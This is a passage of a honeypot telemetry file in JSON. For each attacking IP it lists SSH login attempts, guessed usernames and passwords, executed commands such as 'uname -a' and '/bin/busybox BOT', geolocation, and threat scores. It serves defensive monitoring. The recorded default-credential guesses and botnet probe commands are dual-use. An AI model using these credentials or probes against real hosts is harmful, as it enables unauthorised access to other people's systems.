        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-17T05:59:57.250000+00:00",
        "last_seen_30d": "2026-04-20T01:11:01.273000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Tanner": 46,
        "Cowrie": 25
      }
    },
    "101.96.199.144": {
      "attack_count": 20,
      "first_seen": "2026-04-14T19:00:55.818Z",
      "last_seen": "2026-04-14T19:03:41.539Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T19:00:55.818000+00:00",
        "last_seen_30d": "2026-04-14T19:04:46.488000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "183.182.105.73": {
      "attack_count": 18,
      "first_seen": "2026-04-10T14:22:46.037Z",
      "last_seen": "2026-04-10T21:49:16.410Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "$1234kelltech",
        "1.kelltech",
        "1234Kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Laos",
      "country_code": "LA",
      "city": "Vientiane",
      "asn": 131267,
      "as_org": "Star Telecom",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:22:46.037000+00:00",
        "last_seen_30d": "2026-04-10T21:50:16.594000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "2.57.122.194": {
      "attack_count": 12,
      "first_seen": "2026-04-01T07:03:47.891Z",
      "last_seen": "2026-04-22T01:03:05.202Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T07:03:47.891000+00:00",
        "last_seen_30d": "2026-04-22T01:04:10.451000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "110.238.115.136": {
      "attack_count": 10,
      "first_seen": "2026-04-21T12:55:38.628Z",
      "last_seen": "2026-04-21T12:59:37.040Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "richard",
        "root"
      ],
      "passwords_attempted": [
        "nihao123!",
        "richard"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T12:55:38.628000+00:00",
        "last_seen_30d": "2026-04-21T13:00:42.873000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.195.63": {
      "attack_count": 10,
      "first_seen": "2026-04-30T20:31:32.767Z",
      "last_seen": "2026-04-30T20:32:13.593Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T15:57:28+00:00",
        "last_seen_30d": "2026-04-30T20:33:23.554000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102,
        "Honeytrap": 47,
        "Cowrie": 10,
        "Tanner": 8,
        "Miniprint": 7,
        "ElasticPot": 4,
        "ConPot": 3,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "123.60.136.40": {
      "attack_count": 9,
      "first_seen": "2026-04-02T00:08:00.121Z",
      "last_seen": "2026-04-02T00:13:10.276Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "abc#123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:08:00.121000+00:00",
        "last_seen_30d": "2026-04-02T00:23:13.755000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 7
      }
    },
    "120.140.99.165": {
      "attack_count": 8,
      "first_seen": "2026-04-02T09:59:35.794Z",
      "last_seen": "2026-04-02T10:02:36.860Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Johor Bahru",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:59:35.794000+00:00",
        "last_seen_30d": "2026-04-02T10:04:37.880000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 1
      }
    },
    "192.42.116.18": {
      "attack_count": 8,
      "first_seen": "2026-04-13T20:58:38.669Z",
      "last_seen": "2026-04-13T20:59:03.373Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T20:58:38.669000+00:00",
        "last_seen_30d": "2026-04-13T21:00:11.919000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "192.42.116.59": {
      "attack_count": 8,
      "first_seen": "2026-04-24T22:00:57.002Z",
      "last_seen": "2026-04-24T22:01:17.523Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T22:00:57.002000+00:00",
        "last_seen_30d": "2026-04-24T22:02:20.439000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "198.235.24.85": {
      "attack_count": 8,
      "first_seen": "2026-04-20T10:59:58.710Z",
      "last_seen": "2026-04-22T16:51:57.136Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T18:22:31+00:00",
        "last_seen_30d": "2026-04-29T04:44:40.231000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 37,
        "Cowrie": 8,
        "Dionaea": 3
      }
    },
    "89.80.147.12": {
      "attack_count": 8,
      "first_seen": "2026-04-28T02:25:29.274Z",
      "last_seen": "2026-04-28T02:33:34.797Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Montrouge",
      "asn": 5410,
      "as_org": "Bouygues Telecom SA",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:25:29.274000+00:00",
        "last_seen_30d": "2026-04-28T02:34:38.126000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "20.163.74.93": {
      "attack_count": 7,
      "first_seen": "2026-04-06T08:38:38.524Z",
      "last_seen": "2026-04-06T08:38:48.525Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 19.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 23,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T08:38:35.411000+00:00",
        "last_seen_30d": "2026-04-28T23:14:43.644000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 7,
        "Honeytrap": 6
      }
    },
    "131.100.254.40": {
      "attack_count": 6,
      "first_seen": "2026-04-27T21:08:55.928Z",
      "last_seen": "2026-04-27T21:13:06.276Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itumbiara",
      "asn": 61657,
      "as_org": "Jr Net Informatica Ltda - ME",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T21:08:55.928000+00:00",
        "last_seen_30d": "2026-04-27T21:22:02.982000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "172.236.228.115": {
      "attack_count": 6,
      "first_seen": "2026-04-01T20:42:06.123Z",
      "last_seen": "2026-04-01T20:42:06.396Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 27,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T20:42:06.123000+00:00",
        "last_seen_30d": "2026-04-27T20:19:48.343000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 18,
        "ConPot": 6,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "58.221.195.130": {
      "attack_count": 6,
      "first_seen": "2026-04-17T07:52:18.880Z",
      "last_seen": "2026-04-17T07:52:26.830Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 601,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T08:04:49.158000+00:00",
        "last_seen_30d": "2026-04-26T03:28:33.842000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 595,
        "Cowrie": 6
      }
    },
    "66.132.224.229": {
      "attack_count": 6,
      "first_seen": "2026-04-29T01:46:00.238Z",
      "last_seen": "2026-04-29T01:46:35.781Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T08:54:49+00:00",
        "last_seen_30d": "2026-04-29T01:47:39.409000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 16,
        "ElasticPot": 8,
        "Cowrie": 6,
        "ConPot": 1
      }
    },
    "123.157.223.90": {
      "attack_count": 5,
      "first_seen": "2026-04-25T10:21:32.634Z",
      "last_seen": "2026-04-25T10:21:35.327Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "n8n"
      ],
      "passwords_attempted": [
        "n8n25!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:37:33.101000+00:00",
        "last_seen_30d": "2026-04-25T10:22:44.292000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "185.213.27.218": {
      "attack_count": 5,
      "first_seen": "2026-04-10T14:33:58.822Z",
      "last_seen": "2026-04-10T14:34:01.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech2023"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:33:58.822000+00:00",
        "last_seen_30d": "2026-04-10T14:35:02.830000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "104.152.52.148": {
      "attack_count": 4,
      "first_seen": "2026-04-29T04:35:42.061Z",
      "last_seen": "2026-04-29T04:35:42.501Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T07:09:45.678000+00:00",
        "last_seen_30d": "2026-04-29T04:36:44.443000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "106.215.33.126": {
      "attack_count": 4,
      "first_seen": "2026-04-26T16:54:15.306Z",
      "last_seen": "2026-04-26T16:56:16.807Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ahmedabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T16:54:15.306000+00:00",
        "last_seen_30d": "2026-04-26T17:06:57.177000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "113.19.53.72": {
      "attack_count": 4,
      "first_seen": "2026-04-03T05:37:44.187Z",
      "last_seen": "2026-04-09T20:54:21.632Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Pasig",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T05:37:44.187000+00:00",
        "last_seen_30d": "2026-04-09T20:55:27.828000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "116.177.172.47": {
      "attack_count": 4,
      "first_seen": "2026-04-05T07:01:25.431Z",
      "last_seen": "2026-04-11T05:51:12.178Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T07:01:25.431000+00:00",
        "last_seen_30d": "2026-04-11T05:52:17.914000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "147.185.132.183": {
      "attack_count": 4,
      "first_seen": "2026-04-13T22:49:01.952Z",
      "last_seen": "2026-04-13T22:49:05.558Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 28,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T16:14:26+00:00",
        "last_seen_30d": "2026-04-29T23:51:10.473000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 13,
        "Cowrie": 4,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "181.192.116.123": {
      "attack_count": 4,
      "first_seen": "2026-04-28T10:04:30.354Z",
      "last_seen": "2026-04-28T10:08:34.288Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Coronel Bicaco",
      "asn": 270638,
      "as_org": "Sellnet Telecom",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:04:30.354000+00:00",
        "last_seen_30d": "2026-04-28T10:09:39.654000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "190.242.0.100": {
      "attack_count": 4,
      "first_seen": "2026-04-26T01:50:11.866Z",
      "last_seen": "2026-04-26T01:52:16.881Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 262191,
      "as_org": "LIBERTY NETWORKS DE COLOMBIA S.A.S",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T01:50:11.866000+00:00",
        "last_seen_30d": "2026-04-26T02:02:55.881000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "192.241.144.48": {
      "attack_count": 4,
      "first_seen": "2026-04-17T16:53:10.196Z",
      "last_seen": "2026-04-17T17:16:56.981Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6252,
        "days_active_30d": 3,
        "ports_targeted_30d": 1872,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-15T10:40:58.102000+00:00",
        "last_seen_30d": "2026-04-17T17:38:26.556000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4586,
        "Honeytrap": 1640,
        "Dionaea": 6,
        "ConPot": 4,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
